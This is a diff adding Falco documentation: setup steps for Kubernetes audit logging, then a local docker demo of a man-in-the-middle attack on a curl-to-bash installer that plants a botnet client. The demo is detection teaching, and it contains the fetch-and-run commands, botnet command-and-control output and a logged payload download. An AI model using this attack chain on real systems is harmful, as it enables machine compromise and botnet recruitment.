+$ bash enable-k8s-audit.sh minikube static
+***Copying apiserver config patch script to apiserver...
+apiserver-config.patch.sh                                                                   100% 1190     1.2MB/s   00:00

+***Modifying k8s apiserver config (will result in apiserver restarting)...
+***Done!
+$
+```
+### Observe Kubernetes audit events at falco
+
+Kubernetes audit events will then be routed to the falco daemonset within the cluster, which you can observe via `kubectl logs -f $(kubectl get pods -l app=falco-example -o jsonpath={.items[0].metadata.name})`.
+
+## Instructions for Kubernetes 1.13
+
+The main steps are:
+
+1. Deploy Falco to your Kubernetes cluster
+2. Restart the API Server to enable Audit Logging
+3. Deploy the AuditSink object for your audit policy and webhook configuration
+4. Observe Kubernetes audit events at falco
+
+### Deploy Falco to your Kubernetes cluster
+
+Follow the [Kubernetes Using Daemonset](../../integrations/k8s-using-daemonset/README.md) instructions to create a Falco service account, service, configmap, and daemonset.
+
+### Restart the API Server to enable Audit Logging
+
+A script [enable-k8s-audit.sh](./enable-k8s-audit.sh) performs the necessary steps of enabling dynamic audit support for the apiserver by modifying the apiserver command line to add `--audit-dynamic-configuration`, `--feature-gates=DynamicAuditing=true`, etc. arguments, etc. (For minikube, ideally you'd be able to pass all these options directly on the `minikube start` command line, but manual patching is necessary. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.)
+
+It is run as `bash ./enable-k8s-audit.sh <variant> dynamic`. `<variant>` can be one of the following:
+
+* `minikube`
+* `kops`
+
+When running with `variant` equal to `kops`, you must either modify the script to specify the kops apiserver hostname or set it via the environment: `APISERVER_HOST=api.my-kops-cluster.com bash ./enable-k8s-audit.sh kops`
+
+Its output looks like this:
+
+```
+$ bash enable-k8s-audit.sh minikube dynamic
+***Copying apiserver config patch script to apiserver...
+apiserver-config.patch.sh                                                                   100% 1190     1.2MB/s   00:00
+***Modifying k8s apiserver config (will result in apiserver restarting)...
+***Done!
+$
+```
+
+### Deploy AuditSink objects
+
+[audit-sink.yaml.in](./audit-sink.yaml.in), in this directory, is a template audit sink configuration that defines the dynamic audit policy and webhook to route Kubernetes audit events to Falco.
+
+Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the ClusterIPs associated with those services are routable.
+
+```
+FALCO_SERVICE_CLUSTERIP=$(kubectl get service falco-service -o=jsonpath={.spec.clusterIP}) envsubst < audit-sink.yaml.in > audit-sink.yaml
+```
+
+### Observe Kubernetes audit events at falco
+
+Kubernetes audit events will then be routed to the falco daemonset within the cluster, which you can observe via `kubectl logs -f $(kubectl get pods -l app=falco-example -o jsonpath={.items[0].metadata.name})`.
+
+## Instructions for Kubernetes 1.13 with dynamic webhook and local log file
+
+If you want to use a mix of `AuditSink` for remote audit events as well as a local audit log file, you can run `enable-k8s-audit.sh` with the `"dynamic+log"` argument e.g. `bash ./enable-k8s-audit.sh <variant> dynamic+log`. This will enable dynamic audit logs as well as a static audit log to a local file. Its output looks like this:
+
+```
+***Copying apiserver config patch script to apiserver...
+apiserver-config.patch.sh                                                                          100% 2211   662.9KB/s   00:00
+***Copying audit policy file to apiserver...
+audit-policy.yaml                                                                                  100% 2519   847.7KB/s   00:00
+***Modifying k8s apiserver config (will result in apiserver restarting)...
+***Done!
+```
+
+The audit log will be available on the apiserver host at `/var/lib/k8s_audit/audit.log`.

+# Demo of falco with man-in-the-middle attacks on installation scripts
+
+For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
+
+## Demo architecture
+
+### Initial setup
+
+Make sure no prior `botnet_client.py` processes are lying around.
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
+* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
+* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
+* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
+* falco: will detect the activities of botnet_client.py.
+
+### Download `install-software.sh`, see botnet client running
+
+Run the following to fetch and execute the installation script,
+which also installs the botnet client:
+
+```
+$ curl http://localhost/install-software.sh | bash
+```
+
+You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
+
+Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
+
+```
+$ ps auxww  | grep python
+...
+root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
+
+$ telnet localhost 1234
+Trying ::1...
+Trying 127.0.0.1...
+Connected to localhost.
+Escape character is '^]'.
+```
+
+You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
+
+```
+attacker_botnet_master | Trying to contact compromised machine...
+attacker_botnet_master | Waiting for botnet command and control commands...
+attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
+attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
+```
+
+At this point, kill the botnet_client.py process to clean things up.
+
+### Run installation script again using `fbash`, note falco warnings.
+
+If you run the installation script again:
+
+```
+curl http://localhost/install-software.sh | ./fbash
+```
+
+In the docker-compose output, you'll see the following falco warnings:
+
+```
+falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
